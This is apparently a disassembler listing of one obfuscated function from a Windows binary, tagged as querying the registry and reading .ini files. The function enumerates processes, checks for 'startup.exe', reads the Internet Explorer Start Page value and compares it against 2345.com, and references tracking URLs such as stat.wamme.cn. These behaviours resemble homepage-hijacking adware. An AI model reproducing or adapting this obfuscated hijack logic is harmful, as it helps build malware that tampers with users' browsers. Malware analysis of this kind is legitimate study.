Function at 0x41b660
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4450ad
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1130
call fcn.0042a9b0
mov eax, dword [0x458190]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x456830]
mov ebx, dword [0x456838]
imul ebx, ebx, 0x372f5c1
mov esi, dword [0x456824]
mov eax, 0x7f3171f
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, ecx
imul ecx, ecx, 0x360833b
imul edx, edx, 0x293deaa
add ebx, edx
mov eax, 0x61bc1a5d
imul esi
mov esi, dword [0x45681c]
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x979d1eb7
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub ebx, eax
mov esi, dword [0x456834]
mov eax, 0x3ac7f767
imul edx
sar edx, 0x17
mov dword [str._r_____r____], ebx
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x62ace781
imul esi
sar edx, 0x19
add ebx, edx
mov eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x5305094
shr eax, 0x1f
add eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x936c7f27
imul esi
add edx, esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
xor edi, edi
sub ebx, eax
sub ebx, ecx
mov dword [ebp - 0x10f0], edi
mov dword [ebp - 4], edi
mov dword [0x456818], ebx
mov dword [ebp - 0x10e4], edi
lea ecx, [ebp - 0x10e4]
push ecx
mov byte [ebp - 4], 1
push 0x4472e8
push 0x17
push edi
push 0x44b8d8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [str._r_____r____]
mov ecx, dword [0x456818]
mov esi, eax
mov eax, 0x7f3171f
imul dword [0x45682c]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, edi
imul ebx, ebx, 0x4067eec
mov edx, ecx
imul edx, edx, 0xde454f
sub ebx, eax
add ebx, edx
mov edx, dword [0x456820]
mov eax, 0x31a5bd5f
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, dword [0x456834]
sub ebx, 0x5305094
test esi, esi
mov dword [0x456820], ebx
jge 0x41b855
mov edx, dword [0x456828]
imul ecx, ecx, 0x293deaa
imul edi, edi, 0x53d1950
imul edx, edx, 0xde454f
add ecx, edx
mov eax, 0x13a45601
imul dword [0x45682c]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
sub ecx, eax
mov eax, dword [ebp - 0x10e4]
add ecx, edx
test eax, eax
lea ecx, [edi + ecx - 0x5305094]
mov dword [0x456824], ecx
mov byte [ebp - 4], 0
je 0x41b84e
mov edx, dword [eax]
push eax
call dword [edx + 8]
xor eax, eax
jmp 0x41dafb
mov ecx, dword [0x456838]
mov eax, 0x94723637
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x63510a67
imul ecx
imul ecx, ecx, 0x5305094
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov ecx, dword [0x45681c]
imul ecx, ecx, 0x3422234
add esi, ecx
mov ecx, dword [0x456824]
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10e4]
lea edx, [ebp - 0x1108]
push edx
mov dword [0x456828], esi
mov dword [ebp - 0x1108], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ecx, dword [0x456820]
mov edi, dword [0x45681c]
mov eax, 0x7f3171f
imul ecx
mov eax, dword [0x456830]
sar edx, 0x15
imul eax, eax, 0x22d753a
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45682c]
imul edx, edx, 0x5305094
add ebx, eax
add ebx, edx
mov eax, 0x936c7f27
imul edi
add edx, edi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x360833b
sub ebx, eax
mov eax, dword [ebp - 0x1108]
add ebx, edx
test eax, eax
mov dword [0x45682c], ebx
jne 0x41b957
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 0
je 0x41b950
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41dafb
mov esi, dword [0x456828]
mov edx, dword [0x456824]
imul esi, esi, 0x22d753a
imul edx, edx, 0xdef222
mov eax, ebx
imul eax, eax, 0x5305094
sub esi, edx
sub esi, eax
mov eax, 0x31a5bd5f
imul edi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [0x456830], esi
je 0x41ba24
mov ecx, dword [0x456834]
mov esi, dword [0x456818]
mov eax, 0x7f3171f
imul esi, esi, 0x3422234
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x456828]
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x53d1950
sub esi, eax
add esi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov ecx, 0x56a378
mov dword [0x456834], esi
call fcn.0040fce0
mov esi, dword [0x456830]
mov edi, dword [0x45681c]
mov ecx, dword [0x456820]
mov ebx, dword [0x45682c]
mov edx, dword [str._r_____r____]
imul ecx, ecx, 0x2a93aa6
mov eax, 0x3ac7f767
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
imul edx, edx, 0xfacfaf6c
sub edx, eax
sub edx, ecx
mov dword [ebp - 0x10e0], edx
mov eax, 0x13a45601
imul ebx
mov eax, dword [ebp - 0x10e0]
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add eax, edx
add ecx, eax
mov dword [0x456838], ecx
mov dword [ebp - 0x10ec], 0
mov edx, dword [ebp - 0x10ec]
cmp edx, dword [ebp - 0x1108]
jge 0x41da9e
mov ebx, dword [0x456824]
imul ecx, ecx, 0x372f5c1
imul esi, esi, 0x293deaa
mov eax, 0x7f3171f
imul ebx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x61bc1a5d
imul ebx
add ecx, esi
sar edx, 0x19
add ecx, edx
mov esi, edx
mov eax, 0x979d1eb7
imul edi
shr esi, 0x1f
add esi, ecx
add edx, edi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [str._r_____r____], esi
mov dword [ebp - 0x10d8], 0
mov eax, dword [ebp - 0x10ec]
mov word [ebp - 0x1124], 3
mov dword [ebp - 0x111c], eax
mov edi, dword [ebp - 0x1124]
mov ecx, dword [ebp - 0x10e4]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d8]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1120]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1118]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1124]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [str._r_____r____]
mov esi, dword [0x456818]
imul ecx, ecx, 0x4067eec
mov eax, 0x7f3171f
imul dword [0x45682c]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0xde454f
sub ecx, eax
mov ebx, dword [0x456834]
add ecx, edx
mov edx, dword [0x456820]
mov eax, 0x31a5bd5f
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, ebx
sub ecx, 0x5305094
test edi, edi
mov dword [0x456820], ecx
jl 0x41bd7f
mov eax, 0x7f3171f
imul ecx
mov eax, dword [0x45682c]
sar edx, 0x15
imul eax, eax, 0x5305094
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x456830]
imul edx, edx, 0x22d753a
add edi, edx
add edi, eax
mov eax, 0x936c7f27
imul dword [0x45681c]
add edx, dword [0x45681c]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x360833b
sub edi, eax
mov eax, dword [ebp - 0x10d8]
add edi, edx
mov dword [0x45682c], edi
xor edi, edi
test eax, eax
mov dword [ebp - 0x10cc], edi
je 0x41bc4e
mov ecx, dword [eax]
lea edx, [ebp - 0x10cc]
push edx
push 0x447340
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10cc]
mov esi, dword [0x456818]
mov ebx, dword [0x456834]
mov ecx, dword [0x456820]
imul esi, esi, 0x5305094
mov eax, 0x3ac7f767
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10d4], eax
mov eax, 0x62ace781
imul ebx
mov eax, dword [ebp - 0x10d4]
sar edx, 0x19
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x936c7f27
imul ebx
add edx, ebx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x360833b
add ecx, esi
sub ecx, eax
sub ecx, edx
test edi, edi
mov dword [0x456818], ecx
je 0x41bd7f
mov esi, dword [0x456828]
imul ecx, ecx, 0x293deaa
mov ebx, dword [0x45682c]
mov edx, esi
imul edx, edx, 0xde454f
add ecx, edx
mov eax, 0x13a45601
imul ebx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
sub ecx, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x53d1950
add ecx, edx
lea eax, [eax + ecx - 0x5305094]
mov dword [0x456824], eax
mov dword [ebp - 0x10e8], 0
imul eax, eax, 0xdef222
imul esi, esi, 0x22d753a
sub esi, eax
imul ebx, ebx, 0x5305094
mov eax, 0x31a5bd5f
imul dword [0x45681c]
sar edx, 0x17
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ebx
lea eax, [ebp - 0x10e8]
sub esi, ecx
push eax
mov dword [0x456830], esi
mov edx, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [edx + 0x48]
test eax, eax
jge 0x41bd9c
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x41bd6b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41bd7f
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 1
je 0x41da7a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41da7a
mov ecx, dword [0x456838]
mov esi, dword [0x456830]
imul esi, esi, 0x293deaa
mov edx, ecx
imul edx, edx, 0x372f5c1
sub esi, edx
mov edx, dword [0x45681c]
mov eax, 0x13a45601
imul edx
mov ebx, dword [ebp - 0x10e8]
sar edx, 0x16
add esi, edx
mov edi, edx
mov eax, 0x61bc1a5d
imul ecx
shr edi, 0x1f
add edi, esi
sar edx, 0x19
mov esi, edx
shr esi, 0x1f
add edi, edx
add esi, edi
sub esi, dword [str._r_____r____]
add esi, 0x294039f
test ebx, ebx
mov dword [0x45681c], esi
mov dword [ebp - 0x10dc], 0
je 0x41be2d
mov eax, dword [ebx]
lea ecx, [ebp - 0x10dc]
push ecx
push 0x447350
push ebx
call dword [eax]
mov ebx, dword [ebp - 0x10e8]
mov esi, dword [0x45681c]
mov ecx, dword [0x456838]
imul esi, esi, 0x3422234
mov eax, 0x94723637
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x63510a67
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x5305094
sub edi, eax
sub edi, edx
mov eax, 0x61bc1a5d
imul dword [0x456824]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 6
mov dword [0x456828], edi
jne 0x41bedd
test ebx, ebx
mov byte [ebp - 4], 4
je 0x41bea6
mov ecx, dword [ebx]
push ebx
call dword [ecx + 8]
mov ecx, dword [0x456838]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41bec0
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x456838]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 1
je 0x41da80
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41da7a
push 0
call fcn.0042a977
sub eax, dword [0x56a5d0]
add esp, 4
cmp eax, 0x708
jge 0x41c175
mov ecx, dword [0x456824]
mov esi, dword [0x456838]
mov eax, 0x7f3171f
imul esi, esi, 0x372f5c1
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x293deaa
sub esi, eax
add esi, edx
mov eax, 0x61bc1a5d
imul ecx
mov ecx, dword [0x45681c]
sar edx, 0x19
mov edi, edx
add esi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
shr edi, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, dword [ebp - 0x10cc]
lea edx, [ebp - 0x1110]
push edx
mov dword [str._r_____r____], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1110]
lea eax, [ebp - 0x10e0]
push eax
push ecx
mov dword [ebp - 0x10e0], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov esi, dword [0x456838]
mov ecx, dword [0x456830]
mov edx, esi
imul edx, edx, 0x372f5c1
mov edi, ecx
imul edi, edi, 0x293deaa
sub edi, edx
mov edx, dword [0x45681c]
mov eax, 0x13a45601
imul edx
sar edx, 0x16
add edi, edx
mov ebx, edx
mov eax, 0x61bc1a5d
imul esi
mov esi, dword [str._r_____r____]
shr ebx, 0x1f
sar edx, 0x19
add ebx, edi
mov edi, dword [ebp - 0x10e0]
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, esi
add eax, 0x294039f
test edi, edi
mov dword [0x45681c], eax
je 0x41cc9c
mov ebx, dword [0x456818]
imul esi, esi, 0x53d1950
mov edx, dword [0x456828]
imul ebx, ebx, 0x293deaa
imul edx, edx, 0xde454f
add ebx, edx
mov edx, dword [0x45682c]
mov eax, 0x13a45601
imul edx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
push edi
add ebx, ecx
push 0
lea ecx, [esi + ebx - 0x5305094]
push 0x1f0fff
mov dword [0x456824], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x41c175
mov ecx, dword [0x456820]
mov eax, 0x7f3171f
imul ecx
imul ecx, ecx, 0x360833b
mov eax, dword [0x45682c]
mov esi, dword [0x45681c]
imul eax, eax, 0x5305094
sar edx, 0x15
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x456830]
imul edx, edx, 0x22d753a
add edi, edx
add edi, eax
mov eax, 0x936c7f27
imul esi
add edx, esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, byte [0x447d26]
sub edi, eax
add edi, ecx
mov cx, word [0x447d24]
mov dword [0x45682c], edi
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push 0
push ebx
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x456834]
mov esi, dword [0x456818]
mov eax, 0x7f3171f
imul esi, esi, 0x3422234
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x456828]
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x53d1950
sub esi, eax
add esi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x2c4]
sub esi, eax
push str.startup.exe
push ecx
mov dword [0x456834], esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41cd12
mov ecx, dword [0x456834]
mov esi, dword [0x456818]
mov eax, 0x7f3171f
imul esi, esi, 0x3422234
imul ecx
mov ecx, dword [0x456828]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x53d1950
sub esi, eax
add esi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0x10f0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp + 8]
inc ecx
test eax, eax
mov dword [0x456834], esi
mov dword [ebp - 0x10f0], ecx
je 0x41d9b6
push ecx
lea edx, [ebp - 0x10cc]
mov ecx, esp
mov dword [ebp - 0x10d0], esp
push edx
call fcn.004068f0
mov ecx, 0x56a378
call fcn.00405e60
test al, al
jne 0x41d9b6
mov ecx, dword [0x456824]
mov esi, dword [0x456838]
mov eax, 0x7f3171f
imul esi, esi, 0x372f5c1
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x293deaa
sub esi, eax
add esi, edx
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
mov esi, dword [0x45681c]
mov eax, 0x979d1eb7
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45682c]
sub ecx, eax
mov eax, 0x7f3171f
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
mov dword [str._r_____r____], ecx
imul ecx, ecx, 0x4067eec
imul edx, edx, 0xde454f
sub ecx, eax
mov ebx, dword [0x456834]
add ecx, edx
mov edx, dword [0x456820]
mov eax, 0x31a5bd5f
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10cc]
sub ecx, ebx
sub ecx, 0x5305094
lea edx, [ebp - 0x110c]
push edx
mov dword [0x456820], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x78]
mov ecx, dword [0x456820]
mov esi, dword [0x45681c]
mov eax, 0x7f3171f
imul ecx
mov eax, dword [0x456830]
sar edx, 0x15
imul eax, eax, 0x22d753a
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45682c]
imul edx, edx, 0x5305094
add edi, eax
add edi, edx
mov eax, 0x936c7f27
imul esi
add edx, esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
imul ecx, ecx, 0x360833b
sub edi, eax
add edi, ecx
mov ecx, dword [ebp - 0x110c]
push ecx
mov dword [0x45682c], edi
call fcn.00420220
mov ecx, dword [0x456824]
mov esi, dword [0x456838]
mov dword [ebp - 0x10d4], eax
imul esi, esi, 0x372f5c1
mov eax, 0x7f3171f
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x293deaa
sub esi, eax
add esi, edx
mov eax, 0x61bc1a5d
imul ecx
mov ecx, dword [0x45681c]
sar edx, 0x19
mov edi, edx
add esi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, dword [ebp - 0x10dc]
lea edx, [ebp - 0x1114]
mov dword [str._r_____r____], edi
mov ecx, dword [eax]
push edx
push eax
xor edi, edi
call dword [ecx + 0x90]
mov esi, dword [0x456838]
mov ebx, dword [0x456830]
mov edx, dword [0x45681c]
imul ebx, ebx, 0x293deaa
mov ecx, eax
mov eax, esi
imul eax, eax, 0x372f5c1
sub ebx, eax
mov eax, 0x13a45601
imul edx
sar edx, 0x16
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x61bc1a5d
imul esi
mov esi, dword [str._r_____r____]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, esi
add eax, 0x294039f
test ecx, ecx
mov dword [0x45681c], eax
jne 0x41c447
mov ecx, dword [ebp - 0x1114]
push ecx
call fcn.00420220
mov edi, eax
push 0
call fcn.0042a977
sub eax, dword [0x56a334]
add esp, 4
cmp eax, 5
jle 0x41d29b
test edi, edi
je 0x41c482
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c470
sub eax, edx
cmp eax, 5
ja 0x41d29b
mov esi, dword [0x456818]
mov edx, dword [0x456828]
imul esi, esi, 0x293deaa
mov ecx, dword [0x45682c]
imul edx, edx, 0xde454f
add esi, edx
mov eax, 0x13a45601
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x16
imul ecx, ecx, 0x53d1950
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, dword [0x456830]
lea edx, [ecx + esi - 0x5305094]
mov dword [0x456824], edx
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
nop
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41c4e0
lea eax, [ebp - 0x1c4]
push eax
call fcn.004200c0
mov ecx, dword [str._r_____r____]
mov dword [ebp - 0x10d0], eax
mov esi, dword [0x456834]
mov eax, 0x3ac7f767
imul esi, esi, 0xfacfaf6c
imul ecx
sar edx, 0x17
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456820]
imul edx, edx, 0x2a93aa6
sub esi, ecx
mov ecx, dword [0x45682c]
sub esi, edx
mov eax, 0x13a45601
imul ecx
mov ecx, dword [0x447d08]
mov eax, dword [str.sfdafsdafdsfdsfa]
mov dword [ebp - 0x144], eax
mov eax, dword [0x447d10]
sar edx, 0x16
add esi, edx
mov dword [ebp - 0x138], eax
xor eax, eax
mov dword [ebp - 0x140], ecx
mov cl, byte [0x447d14]
mov ebx, edx
mov edx, dword [0x447d0c]
mov dword [ebp - 0x13c], edx
mov byte [ebp - 0x134], cl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
shr ebx, 0x1f
add ebx, esi
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x456824]
mov eax, 0x7f3171f
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
mov dword [0x456838], ebx
imul edx, edx, 0x293deaa
imul ebx, ebx, 0x372f5c1
sub ebx, eax
add ebx, edx
mov eax, 0x61bc1a5d
imul ecx
mov ecx, dword [0x45681c]
sar edx, 0x19
movsw word es:[edi], word [esi]
add ebx, edx
mov esi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
lea ecx, [ebp - 0x1104]
push ecx
add esi, ebx
add eax, edx
sub esi, eax
push 0xf003f
mov dword [ebp - 0x1104], 0
mov dword [str._r_____r____], esi
push 0
lea edx, [ebp - 0x40]
push edx
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41c8d4
mov ecx, dword [0x456838]
mov eax, 0x94723637
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov edi, dword [0x45681c]
mov eax, 0x63510a67
imul ecx
imul ecx, ecx, 0x5305094
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov ecx, edi
imul ecx, ecx, 0x3422234
add esi, ecx
mov ecx, dword [0x456824]
mov eax, 0x61bc1a5d
imul ecx
mov ecx, dword [0x456820]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3ac7f767
imul ecx
sar edx, 0x17
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov dword [0x456828], esi
mov esi, dword [0x456834]
mov eax, 0x62ace781
imul esi
sar edx, 0x19
add ebx, edx
mov eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x5305094
shr eax, 0x1f
add eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x936c7f27
imul esi
add edx, esi
mov esi, dword [0x456830]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, esi
imul esi, esi, 0x22d753a
imul edx, edx, 0x360833b
sub ebx, edx
mov eax, 0x7f3171f
imul ecx
mov eax, dword [0x45682c]
imul eax, eax, 0x5305094
sar edx, 0x15
mov dword [0x456818], ebx
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
add ebx, esi
add ebx, eax
mov eax, 0x936c7f27
imul edi
add edx, edi
sar edx, 0x17
mov dword [ebp - 0x10c8], 0x104
mov eax, edx
imul ecx, ecx, 0x360833b
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
lea ecx, [ebp - 0x10c8]
push ecx
mov ecx, dword [ebp - 0x1104]
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x10f4]
push eax
push 0
push str.Start_Page
mov esi, 1
push ecx
mov dword [0x45682c], ebx
mov dword [ebp - 0x10f4], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41c8d4
mov ecx, dword [0x456838]
mov edi, dword [0x456830]
mov edx, ecx
imul edx, edx, 0x372f5c1
mov ebx, edi
imul ebx, ebx, 0x293deaa
sub ebx, edx
mov edx, dword [0x45681c]
mov eax, 0x13a45601
imul edx
sar edx, 0x16
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x61bc1a5d
imul ecx
mov eax, dword [0x56a658]
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
sub ecx, dword [str._r_____r____]
add ecx, 0x294039f
test eax, eax
mov dword [0x45681c], ecx
jne 0x41c8e0
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41c839
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.0042ade0
add esp, 8
test eax, eax
je 0x41c8d4
mov ecx, dword [0x456824]
mov edi, dword [0x456838]
mov eax, 0x7f3171f
imul edi, edi, 0x372f5c1
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x293deaa
sub edi, eax
add edi, edx
mov eax, 0x61bc1a5d
imul ecx
mov ecx, dword [0x45681c]
sar edx, 0x19
mov ebx, edx
add edi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
lea ecx, [ebp - 0x144]
shr ebx, 0x1f
shr eax, 0x1f
push ecx
add eax, edx
add ebx, edi
sub ebx, eax
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x559128
mov dword [str._r_____r____], ebx
mov dword [0x56a658], esi
call fcn.0042a341
push 0x132b600
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [0x456830]
mov ecx, dword [0x45681c]
mov esi, dword [0x456820]
imul edi, edi, 0x22d753a
mov eax, 0x7f3171f
imul esi
imul esi, esi, 0x360833b
sar edx, 0x15
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45682c]
imul edx, edx, 0x5305094
add ebx, edi
add ebx, edx
mov eax, 0x936c7f27
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0x1104]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
push ecx
mov dword [0x45682c], ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x456820]
mov esi, dword [0x456834]
